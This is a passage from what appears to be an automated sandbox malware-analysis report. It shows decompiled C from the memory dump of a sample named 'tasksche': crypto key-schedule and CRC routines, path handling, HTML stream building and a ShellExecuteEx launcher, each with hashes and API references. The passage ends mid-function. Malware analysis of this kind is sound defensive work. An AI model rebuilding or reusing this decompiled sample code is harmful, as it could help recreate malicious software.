				signed int* _t135;
				signed int* _t136;
				signed int _t137;
				char* _t138;
				void* _t139;
				void* _t140;
				intOrPtr _t141;
				void* _t142;
				void* _t143;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t149;
				void* _t151;
				void* _t157;

				_t141 = __ecx;
				_v8 = __ecx;
				_t119 =  *((intOrPtr*)(__ecx + 4)) - 6;
				E0041C290(_t119, __ecx, _t147,  &_v60, _a4, 0x20);
				_t102 = 0;
				_t140 = 0;
				_a4 = 0;
				if(_t119 <= 0) {
					L9:
					if(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
						_t104 = _t119 << 2;
						_v16 = _t157 + _t104 - 0x3b;
						_v20 = _t157 + _t104 - 0x3a;
						_v24 = _t157 + _t104 - 0x39;
						_v28 = _t157 + _t104 - 0x3c;
						_v12 = 0x4385e0;
						do {
							_t108 = _v60 ^  *(( *_v16 & 0x000000ff) + 0x438700);
							_v60 = _t108;
							_v59 = _v59 ^  *(( *_v20 & 0x000000ff) + 0x438700);
							_v58 = _v58 ^  *(( *_v24 & 0x000000ff) + 0x438700);
							_v57 = _v57 ^  *(( *_v28 & 0x000000ff) + 0x438700);
							_t102 = _t108 ^  *_v12;
							_v12 =  &(_v12[0]);
							_v60 = _t102;
							if(_t119 == 8) {
								_t135 =  &_v56;
								_t142 = 3;
								do {
									_t148 = 4;
									do {
										 *_t135 =  *_t135 ^  *(_t135 - 4);
										_t135 =  &(_t135[0]);
										_t148 = _t148 - 1;
									} while (_t148 != 0);
									_t142 = _t142 - 1;
								} while (_t142 != 0);
								_v44 = _v44 ^  *((_v48 & 0x000000ff) + 0x438700);
								_v43 = _v43 ^  *((_v47 & 0x000000ff) + 0x438700);
								_v42 = _v42 ^  *((_v46 & 0x000000ff) + 0x438700);
								_v41 = _v41 ^  *((_v45 & 0x000000ff) + 0x438700);
								_t136 =  &_v40;
								_t143 = 3;
								do {
									_t149 = 4;
									do {
										_t102 =  *((intOrPtr*)(_t136 - 4));
										 *_t136 =  *_t136 ^ _t102;
										_t136 =  &(_t136[0]);
										_t149 = _t149 - 1;
									} while (_t149 != 0);
									_t143 = _t143 - 1;
								} while (_t143 != 0);
								goto L26;
							} else {
								if(_t119 > 1) {
									_t138 =  &_v56;
									_t145 = _t119 - 1;
									do {
										_t151 = 0;
										do {
											_t102 =  *((intOrPtr*)(_t138 + _t151 - 4));
											 *(_t138 + _t151) =  *(_t138 + _t151) ^ _t102;
											_t151 = _t151 + 1;
										} while (_t151 < 4);
										_t138 = _t138 + 4;
										_t145 = _t145 - 1;
									} while (_t145 != 0);
									L26:
									_t141 = _v8;
								}
							}
							_t137 = 0;
							if(_t119 <= 0) {
								goto L36;
							} else {
								while(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
									if(_t137 < _t119) {
										_t102 = _t157 + _t137 * 4 - 0x38;
										while(_a4 < 4) {
											_t137 = _t137 + 1;
											_t102 = _t102 + 4;
											_a4 = _a4 + 1;
											asm("movsd");
											_t141 = _v8;
											if(_t137 < _t119) {
												continue;
											}
											goto L33;
										}
									}
									L33:
									if(_a4 == 4) {
										_t140 = _t140 + 1;
										_a4 = _a4 & 0x00000000;
									}
									if(_t137 < _t119) {
										continue;
									} else {
										goto L36;
									}
									goto L37;
								}
							}
							goto L37;
							L36:
						} while (_t140 <=  *((intOrPtr*)(_t141 + 4)));
					}
				} else {
					while(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
						if(_t102 < _t119) {
							_t139 = _t157 + _t102 * 4 - 0x38;
							while(_a4 < 4) {
								_t102 = _t102 + 1;
								_t139 = _t139 + 4;
								_a4 = _a4 + 1;
								asm("movsd");
								_t141 = _v8;
								if(_t102 < _t119) {
									continue;
								}
								goto L6;
							}
						}
						L6:
						if(_a4 == 4) {
							_t140 = _t140 + 1;
							_a4 = _a4 & 0x00000000;
						}
						if(_t102 < _t119) {
							continue;
						} else {
							goto L9;
						}
						goto L37;
					}
				}
				L37:
				return _t102;
			}

0x0040c50d
0x0040c516
0x0040c519
0x0040c51c
0x0040c521
0x0040c526
0x0040c52a
0x0040c52d
0x0040c56f
0x0040c572
0x0040c57a
0x0040c581
0x0040c588
0x0040c593
0x0040c596
0x0040c599
0x0040c5a0
0x0040c5a9
0x0040c5b2
0x0040c5be
0x0040c5cd
0x0040c5dc
0x0040c5e2
0x0040c5e4
0x0040c5e7
0x0040c5ed
0x0040c613
0x0040c616
0x0040c617
0x0040c619
0x0040c61a
0x0040c61d
0x0040c61f
0x0040c620
0x0040c620
0x0040c623
0x0040c623
0x0040c630
0x0040c63d
0x0040c64a
0x0040c657
0x0040c65c
0x0040c65f
0x0040c660
0x0040c662
0x0040c663
0x0040c663
0x0040c666
0x0040c668
0x0040c669
0x0040c669
0x0040c66c
0x0040c66c
0x00000000
0x0040c5ef
0x0040c5f2
0x0040c5f4
0x0040c5f7
0x0040c5fa
0x0040c5fa
0x0040c5fc
0x0040c5fc
0x0040c600
0x0040c603
0x0040c604
0x0040c609
0x0040c60c
0x0040c60c
0x0040c66f
0x0040c66f
0x0040c66f
0x0040c5f2
0x0040c672
0x0040c676
0x00000000
0x00000000
0x0040c678
0x0040c67f
0x0040c681
0x0040c685
0x0040c696
0x0040c697
0x0040c69a
0x0040c69f
0x0040c6a0
0x0040c6a3
0x00000000
0x00000000
0x00000000
0x0040c6a3
0x0040c685
0x0040c6a5
0x0040c6a9
0x0040c6ab
0x0040c6ac
0x0040c6ac
0x0040c6b2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c6b2
0x0040c678
0x00000000
0x0040c6b4
0x0040c6b4
0x0040c5a0
0x00000000
0x0040c52f
0x0040c53a
0x0040c53c
0x0040c540
0x0040c551
0x0040c552
0x0040c555
0x0040c55a
0x0040c55b
0x0040c55e
0x00000000
0x00000000
0x00000000
0x0040c55e
0x0040c540
0x0040c560
0x0040c564
0x0040c566
0x0040c567
0x0040c567
0x0040c56d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c56d
0x0040c52f
0x0040c6c1
0x0040c6c1

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aae54acdac3927cc066ee4afd89015ce1ad81bcf754d871dab6d471837bf2d3e
Instruction ID: ff0af43037c4d522a8ee791cbe8e93d8d44487ff0532052a3f1666816209b0e9
Opcode Fuzzy Hash: aae54acdac3927cc066ee4afd89015ce1ad81bcf754d871dab6d471837bf2d3e
Instruction Fuzzy Hash: CF51F874804298AACF11CFA4C4D05FDBFB0EF5A328F6955BFD8857B282C2356646CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041450F Relevance: .1, Instructions: 109
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0041450F(void* __ebx, intOrPtr __ecx, signed int* _a4, char _a7, signed int* _a8, signed char _a11) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _t40;
				signed int _t41;
				signed int _t47;
				intOrPtr _t48;
				unsigned int _t49;
				signed int _t53;
				void* _t57;
				void* _t58;
				signed char _t60;
				void* _t64;
				unsigned char _t75;
				intOrPtr _t87;
				signed int* _t91;
				signed int* _t92;
				signed int _t93;
				intOrPtr _t94;

				_t58 = __ebx;
				_t92 = _a4;
				_t91 = _a8;
				_t91[3] = _t91[3] & 0x00000000;
				_v16 = __ecx;
				if(_t92[2] != 0 ||  *_t92 <=  *((intOrPtr*)(__ecx + 0x78)) - 7) {
					L3:
					_push(_t58);
					E004097BA(_t92,  ~(_t92[1]) & 0x00000007);
					_t60 = E004097D1(_t92) >> 8;
					_a11 = _t60;
					E004097BA(_t92, 8);
					_t40 = _t60 & 0x000000ff;
					_t64 = (_t40 >> 0x00000003 & 0x00000003) + 1;
					if(_t64 == 4) {
						L9:
						_t41 = 0;
						L13:
						return _t41;
					}
					_t10 = _t64 + 2; // 0x3
					_t91[3] = _t10;
					_t91[1] = (_t40 & 0x00000007) + 1;
					_a7 = E004097D1(_t92) >> 8;
					E004097BA(_t92, 8);
					_t47 = 0;
					_v12 = 0;
					if(_t64 <= 0) {
						L8:
						_t75 = _a11;
						 *_t91 = _t47;
						if((_t47 >> 0x00000010 ^ _t47 >> 0x00000008 ^ _t47 ^ _t75 ^ 0x0000005a) == _a7) {
							_t93 =  *_t92;
							_t87 = _t93 + _t47 - 1;
							_t48 = _v16;
							_t91[2] = _t93;
							_t94 =  *((intOrPtr*)(_t48 + 0x7c));
							if(_t94 < _t87) {
								_t87 = _t94;
							}
							 *((intOrPtr*)(_t48 + 0x7c)) = _t87;
							_t41 = 1;
							_t91[4] = _t75 >> 0x00000006 & 0x00000001;
							_t91[4] = _t75 >> 7;
							goto L13;
						}
						goto L9;
					}
					_v8 = 0;
					do {
						_t49 = E004097D1(_t92);
						_v8 = _v8 + 8;
						_v12 = _v12 + (_t49 >> 8 << _v8);
						_t53 = _t92[1] + 8;
						 *_t92 =  *_t92 + (_t53 >> 3);
						_t64 = _t64 - 1;
						_t92[1] = _t53 & 0x00000007;
					} while (_t64 != 0);
					_t47 = _v12;
					goto L8;
				}
				_t57 = E004123EB(__ebx, __ecx);
				if(_t57 != 0) {
					goto L3;
				}
				return _t57;
			}

0x0041450f
0x00414516
0x0041451a
0x0041451d
0x00414525
0x00414528
0x00414541
0x00414546
0x0041454d
0x0041455b
0x00414562
0x00414565
0x0041456a
0x00414575
0x00414579
0x004145f6
0x004145f6
0x00414624
0x00000000
0x00414624
0x0041457b
0x00414581
0x00414587
0x00414596
0x00414599
0x0041459e
0x004145a0
0x004145a5
0x004145d9
0x004145e5
0x004145ef
0x004145f4
0x004145fa
0x004145fc
0x00414600
0x00414603
0x00414606
0x0041460b
0x0041460d
0x0041460d
0x0041460f
0x00414617
0x0041461e
0x00414621
0x00000000
0x00414621
0x00000000
0x004145f4
0x004145a7
0x004145aa
0x004145ac
0x004145b4
0x004145bd
0x004145c3
0x004145cb
0x004145d0
0x004145d1
0x004145d1
0x004145d6
0x00000000
0x004145d6
0x00414534
0x0041453b
0x00000000
0x00000000
0x00414628

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51b2d21a1de5244f25583c5063fbcf28c6649e746e5830653507aa8b0461497a
Instruction ID: 1b781f1f23d015917a337ea3c6206954a5313e6084e2437016288461132a8366
Opcode Fuzzy Hash: 51b2d21a1de5244f25583c5063fbcf28c6649e746e5830653507aa8b0461497a
Instruction Fuzzy Hash: EF312372A10605ABCB04DF38C4912DEBBE2EF81308F14812FD865DB782D37DA945CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00405610 Relevance: .1, Instructions: 73
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E00405610(unsigned int _a4, signed char _a8, unsigned int _a12) {
				signed char _t30;
				signed char _t32;
				signed char _t52;
				signed char _t57;
				unsigned int _t72;

				_t52 = _a8;
				_t30 = _a4;
				_t72 = _a12;
				while(_t72 > 0 && (_t52 & 0x00000007) != 0) {
					_t30 = _t30 >> 0x00000008 ^  *(0x4315a0 + ( *_t52 & 0x000000ff ^ _t30 & 0x000000ff) * 4);
					_t72 = _t72 - 1;
					_t52 = _t52 + 1;
				}
				if(_t72 >= 8) {
					_a4 = _t72 >> 3;
					do {
						_t57 =  *(_t52 + 4);
						_t32 = _t30 ^  *_t52;
						_t72 = _t72 - 8;
						_t52 = _t52 + 8;
						_t26 =  &_a4;
						 *_t26 = _a4 - 1;
						_t30 =  *(0x4319a0 + (_t57 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4315a0 + (_t57 >> 0x18) * 4) ^  *(0x431da0 + (_t57 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4325a0 + (_t32 >> 0x18) * 4) ^  *(0x4329a0 + (_t32 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x432da0 + (_t32 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4321a0 + (_t57 & 0x000000ff) * 4) ^  *(0x4331a0 + (_t32 & 0x000000ff) * 4);
					} while ( *_t26 != 0);
					L9:
					while(_t72 > 0) {
						_t30 = _t30 >> 0x00000008 ^  *(0x4315a0 + ( *_t52 & 0x000000ff ^ _t30 & 0x000000ff) * 4);
						_t72 = _t72 - 1;
						_t52 = _t52 + 1;
					}
					return _t30;
				}
				goto L9;
			}

0x00405613
0x00405616
0x0040561a
0x0040561e
0x00405632
0x00405639
0x0040563a
0x0040563a
0x00405640
0x0040564b
0x0040564f
0x0040564f
0x00405652
0x004056bc
0x004056bf
0x004056c2
0x004056c2
0x004056c5
0x004056c5
0x00000000
0x004056e0
0x004056d7
0x004056de
0x004056df
0x004056df
0x004056e7
0x004056e7
0x00000000

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 866ee34adc6fec30ee19582cd252525266032b464ccb2f20f1e66a817629a287
Instruction ID: 2ccb413243c8e3f3810094ea986113c02d7a387cc67c693c5ca68079d889c8bb
Opcode Fuzzy Hash: 866ee34adc6fec30ee19582cd252525266032b464ccb2f20f1e66a817629a287
Instruction Fuzzy Hash: 2821D872A106716BD7048F65EC8412733A2D7CA3617DB4237DF445B3B1D135B922CAE8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3DC Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A3DC(signed short* _a4, intOrPtr _a8, intOrPtr _a12) {
				short _v4100;
				signed short* _t26;
				long _t28;
				signed short* _t29;
				void* _t35;
				signed short* _t49;
				void* _t58;
				signed short* _t75;
				signed short* _t76;

				E0041AAF0(0x1000);
				_t75 = _a4;
				if( *_t75 != 0) {
					E0040A0EA(_t75);
					_t58 = E0041A7AF(_t75);
					_t26 = E0040A2F5(_t75);
					__eflags = _t26;
					if(_t26 == 0) {
						_t28 = GetCurrentDirectoryW(0x7ff,  &_v4100);
						__eflags = _t28;
						if(_t28 == 0) {
							L21:
							_t29 = 0;
							__eflags = 0;
							L22:
							return _t29;
						}
						__eflags = _t28 - 0x7ff;
						if(_t28 > 0x7ff) {
							goto L21;
						}
						__eflags = E0040A0C5( *_t75 & 0x0000ffff);
						if(__eflags == 0) {
							E0040A116(__eflags,  &_v4100, 0x800);
							_t35 = E0041A7AF( &_v4100);
							__eflags = _a12 - _t35 + _t58 + 4;
							if(_a12 <= _t35 + _t58 + 4) {
								goto L21;
							}
							_t68 = _a8;
							E0041C853(_a8, L"\\\\?\\", 4);
							E0041A7F7(_t68 + 8,  &_v4100);
							__eflags =  *_t75 - 0x2e;
							if(__eflags == 0) {
								__eflags = E0040A0C5(_t75[1] & 0x0000ffff);
								if(__eflags != 0) {
									__eflags = _t75;
								}
							}
							E00410BC9(__eflags, _t68, _t75, _a12);
							L20:
							_t29 = 1;
							goto L22;
						}
						__eflags = _a12 - _t58 + 6;
						if(_a12 <= _t58 + 6) {
							goto L21;
						}
						_t69 = _a8;
						E0041C853(_a8, L"\\\\?\\", 4);
						E0041C853(_t69 + 8,  &_v4100, 2);
						E0041A7F7(_t69 + 0xc, _t75);
						goto L20;
					}
					_t49 = E0040A0EA(_t75);
					__eflags = _t49;
					if(_t49 == 0) {
						__eflags =  *_t75 - 0x5c;
						if( *_t75 != 0x5c) {
							goto L21;
						}
						_t76 =  &(_t75[1]);
						__eflags =  *_t76 - 0x5c;
						if( *_t76 != 0x5c) {
							goto L21;
						}
						__eflags = _a12 - _t58 + 6;
						if(_a12 <= _t58 + 6) {
							goto L21;
						}
						_t71 = _a8;
						E0041C853(_a8, L"\\\\?\\", 4);
						E0041A7F7(_t71 + 8, L"UNC");
						E0041A7F7(_t71 + 0xe, _t76);
						goto L20;
					}
					__eflags = _a12 - _t58 + 4;
					if(_a12 <= _t58 + 4) {
						goto L21;
					}
					_t73 = _a8;
					E0041C853(_a8, L"\\\\?\\", 4);
					E0041A7F7(_t73 + 8, _t75);
					goto L20;
				}
				return 0;
			}

0x0040a3e4
0x0040a3ea
0x0040a3f1
0x0040a3fd
0x0040a40a
0x0040a40c
0x0040a411
0x0040a413
0x0040a4b1
0x0040a4b7
0x0040a4b9
0x0040a580
0x0040a580
0x0040a580
0x0040a582
0x00000000
0x0040a583
0x0040a4bf
0x0040a4c1
0x00000000
0x00000000
0x0040a4d0
0x0040a4d2
0x0040a51d
0x0040a529
0x0040a533
0x0040a536
0x00000000
0x00000000
0x0040a538
0x0040a543
0x0040a553
0x0040a55b
0x0040a55f
0x0040a56b
0x0040a56d
0x0040a56f
0x0040a56f
0x0040a56d
0x0040a577
0x0040a57c
0x0040a57c
0x00000000
0x0040a57c
0x0040a4d7
0x0040a4da
0x00000000
0x00000000
0x0040a4e0
0x0040a4eb
0x0040a4fd
0x0040a507
0x00000000
0x0040a50c
0x0040a41a
0x0040a41f
0x0040a421
0x0040a451
0x0040a455
0x00000000
0x00000000
0x0040a45b
0x0040a45e
0x0040a462
0x00000000
0x00000000
0x0040a46b
0x0040a46e
0x00000000
0x00000000
0x0040a474
0x0040a47f
0x0040a48d
0x0040a497
0x00000000
0x0040a49c
0x0040a426
0x0040a429
0x00000000
0x00000000
0x0040a42f
0x0040a43a
0x0040a444
0x00000000
0x0040a449
0x00000000

APIs

_wcslen.LIBCMT ref: 0040A403
_wcsncpy.LIBCMT ref: 0040A43A
_wcscpy.LIBCMT ref: 0040A444

Strings

\\?\, xrefs: 0040A434, 0040A479, 0040A4E5, 0040A53D
UNC, xrefs: 0040A487

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy_wcslen_wcsncpy
String ID: UNC$\\?\
API String ID: 677062453-253988292
Opcode ID: 2abde0defb8e8217f0e08e38dadbd9202aa69e0edf90a9fc0407522747aefdaa
Instruction ID: cd13f9bd72fca169d524aa050727d65a10ef4dcd9f377a8cbe6755f4863ba3db
Opcode Fuzzy Hash: 2abde0defb8e8217f0e08e38dadbd9202aa69e0edf90a9fc0407522747aefdaa
Instruction Fuzzy Hash: 7441AF7294131476DB20AA618C82AEB33687F55748F04442FF954732C2E7BCD6A586AB

Uniqueness

Uniqueness Score: -1.00%

Function 00419779 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 125
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00419779(void* __ebx, intOrPtr __ecx, short* _a4, char _a7) {
				short* _v8;
				signed int _v12;
				intOrPtr _v16;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t26;
				short* _t30;
				signed int _t34;
				signed int _t41;
				int _t42;
				void* _t50;
				char* _t51;
				void* _t66;
				void* _t67;
				short* _t68;
				short* _t71;
				int _t75;

				_v16 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x10)) == 0) {
					return _t26;
				}
				_v12 = _v12 & 0x00000000;
				_t71 = _a4;
				_push(_t67);
				_a7 = E004191A2(_t71);
				_t30 = E0041CF3E(__ebx, _t66, _t67, E0041A7AF(_t71) + _t28 + 0x200);
				_t68 = _t30;
				if(_t68 == 0) {
					L16:
					return _t30;
				}
				_push(__ebx);
				_t47 = L"<html>";
				E0041A7F7(_t68, L"<html>");
				E0041A7C9(_t68, L"<head><meta http-equiv=\"content-type\" content=\"text/html; charset=");
				E0041A7C9(_t68, L"utf-8\"></head>");
				_v8 = _t71;
				if( *_t71 != 0x20) {
					L4:
					_t34 = E00411E81(_t82, _v8, _t47, 6);
					asm("sbb bl, bl");
					_t50 =  ~_t34 + 1;
					if(_t50 != 0) {
						_t71 = _v8 + 0xc;
					}
					E0041A7C9(_t68, _t71);
					if(_t50 == 0) {
						E0041A7C9(_t68, L"</html>");
					}
					_t86 = _a7;
					if(_a7 == 0) {
						_t68 = E004191D8(_t50, _t86, _t68);
					}
					_t75 = 9 + E0041A7AF(_t68) * 6;
					_t51 = GlobalAlloc(0x40, _t75);
					if(_t51 != 0) {
						_t75 = _t75 + 0xfffffffd;
						_t17 = _t51 + 3; // 0x3
						_t42 = WideCharToMultiByte(0xfde9, 0, _t68, 0xffffffff, _t17, _t75, 0, 0);
						_t88 = _t42;
						if(_t42 == 0) {
							 *_t51 = 0;
						} else {
							 *_t51 = 0xef;
							 *((char*)(_t51 + 1)) = 0xbb;
							 *((char*)(_t51 + 2)) = 0xbf;
						}
					}
					E0041A506(_t51, _t68, _t75, _t88);
					_t30 =  &_v12;
					__imp__CreateStreamOnHGlobal(_t51, 1, _t30, _t68);
					if(_t30 >= 0) {
						E0041963B(_v16,  *((intOrPtr*)(_v16 + 0x10)), _v12);
						_t41 = _v12;
						_t30 =  *((intOrPtr*)( *_t41 + 8))(_t41);
					}
					goto L16;
				} else {
					goto L3;
				}
				do {
					L3:
					_v8 = _v8 + 2;
					_t82 =  *_v8 - 0x20;
				} while ( *_v8 == 0x20);
				goto L4;
			}

0x00419783
0x00419786
0x004198bf
0x004198bf
0x0041978c
0x00419791
0x00419794
0x0041979c
0x004197ac
0x004197b1
0x004197b7
0x004198bc
0x00000000
0x004198bd
0x004197bd
0x004197be
0x004197c5
0x004197d0
0x004197db
0x004197e7
0x004197ea
0x004197f9
0x004197ff
0x00419808
0x0041980a
0x0041980c
0x00419811
0x00419811
0x00419816
0x0041981f
0x00419827
0x0041982d
0x0041982e
0x00419832
0x0041983d
0x0041983d
0x0041984b
0x00419857
0x0041985d
0x00419861
0x00419865
0x00419872
0x00419878
0x0041987a
0x00419889
0x0041987c
0x0041987c
0x0041987f
0x00419883
0x00419883
0x0041987a
0x0041988d
0x00419893
0x0041989a
0x004198a3
0x004198ae
0x004198b3
0x004198b9
0x004198b9
0x00000000
0x00000000
0x00000000
0x00000000
0x004197ec
0x004197ec
0x004197ec
0x004197f3
0x004197f3
0x00000000

APIs

_wcslen.LIBCMT ref: 0041979F
_malloc.LIBCMT ref: 004197AC

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcscpy.LIBCMT ref: 004197C5
_wcscat.LIBCMT ref: 004197D0
_wcscat.LIBCMT ref: 004197DB
_wcscat.LIBCMT ref: 00419816
_wcscat.LIBCMT ref: 00419827
_wcslen.LIBCMT ref: 00419840
GlobalAlloc.KERNEL32(00000040,-00000009,?,<html>,00000006), ref: 00419851
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,-00000106,00000000,00000000), ref: 00419872
CreateStreamOnHGlobal.OLE32(00000000,00000001,00000000), ref: 0041989A

Strings

<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 004197CA
</html>, xrefs: 00419821
<html>, xrefs: 004197BE, 004197C3, 004197FB
utf-8"></head>, xrefs: 004197D5

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscat$Global_wcslen$AllocAllocateByteCharCreateHeapMultiStreamWide_malloc_wcscpy
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4158105118-4209811716
Opcode ID: 5f926dabde1341af1aa2f3e728361b093cf6cb0a0bae10ac8e427f1ff92f78d4
Instruction ID: 9750a07ada00fadd6417d4a808c8c0194c88b3581ecb1a923ba5d07fa5d26e01
Opcode Fuzzy Hash: 5f926dabde1341af1aa2f3e728361b093cf6cb0a0bae10ac8e427f1ff92f78d4
Instruction Fuzzy Hash: 1C312A32900205BBDB11BB659C95EEF77789F42724F14415FF810AB2C6DB7C8E81836A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E46C Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 174
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E46C(signed short* __ecx, struct HWND__* _a4, intOrPtr _a8) {
				char _v5;
				intOrPtr _v12;
				long _v16;
				struct _SHELLEXECUTEINFOW _v76;
				char _v4172;
				void* __edi;
				void* _t58;
				signed int _t61;
				intOrPtr* _t62;
				intOrPtr _t63;
				int _t66;
				intOrPtr _t76;
				signed short* _t83;
				signed int _t89;
				signed short* _t90;
				signed short _t92;
				long _t94;
				signed short* _t97;

				_t58 = E0041AAF0(0x1048);
				_t97 = __ecx;
				if( *((intOrPtr*)(__ecx)) == 0) {
					L51:
					return _t58;
				}
				_t58 = E0041A7AF(__ecx);
				if(_t58 >= 0x7f6) {
					goto L51;
				} else {
					_t94 = 0x3c;
					E0041A820(_t94,  &_v76, 0, _t94);
					_t89 =  *_t97 & 0x0000ffff;
					_v76.cbSize = _t94;
					_v76.fMask = 0x1c0;
					if(_t89 != 0x22) {
						_v76.lpFile = _t97;
					} else {
						_v76.lpFile =  &(_t97[1]);
					}
					_t61 = 0;
					if(_t89 == 0) {
						L20:
						_t62 = _v76.lpParameters;
						if(_t62 == 0 ||  *_t62 == 0) {
							if(_a8 == 0 &&  *0x44287a != 0) {
								_v76.lpParameters = 0x44287a;
							}
						}
						_v76.nShow = 1;
						_t63 = E0040A76A(_v76.lpFile);
						_v12 = _t63;
						if(_t63 != 0 && E00411E60(_t63, L".inf") == 0) {
							_v76.lpVerb = L"Install";
						}
						if(E004092A5(_v76.lpFile) != 0) {
							E0040A9CB(_t94, _v76.lpFile,  &_v4172, 0x800);
							_v76.lpFile =  &_v4172;
						}
						_t66 = ShellExecuteExW( &_v76);
						if(_t66 == 0) {
							L50:
							return _t66;
						} else {
							_v5 = 0;
							if( *0x441870 != 0 || _a8 != 0 ||  *0x44185d != 0) {
								if(_a4 != 0 && IsWindowVisible(_a4) != 0) {
									ShowWindow(_a4, 0);
									_v5 = 1;
								}
								WaitForInputIdle(_v76.hProcess, 0x7d0);
								E0040D857(_v76.hProcess);
								if( *0x44185d != 0 && GetExitCodeProcess(_v76.hProcess,  &_v16) != 0) {
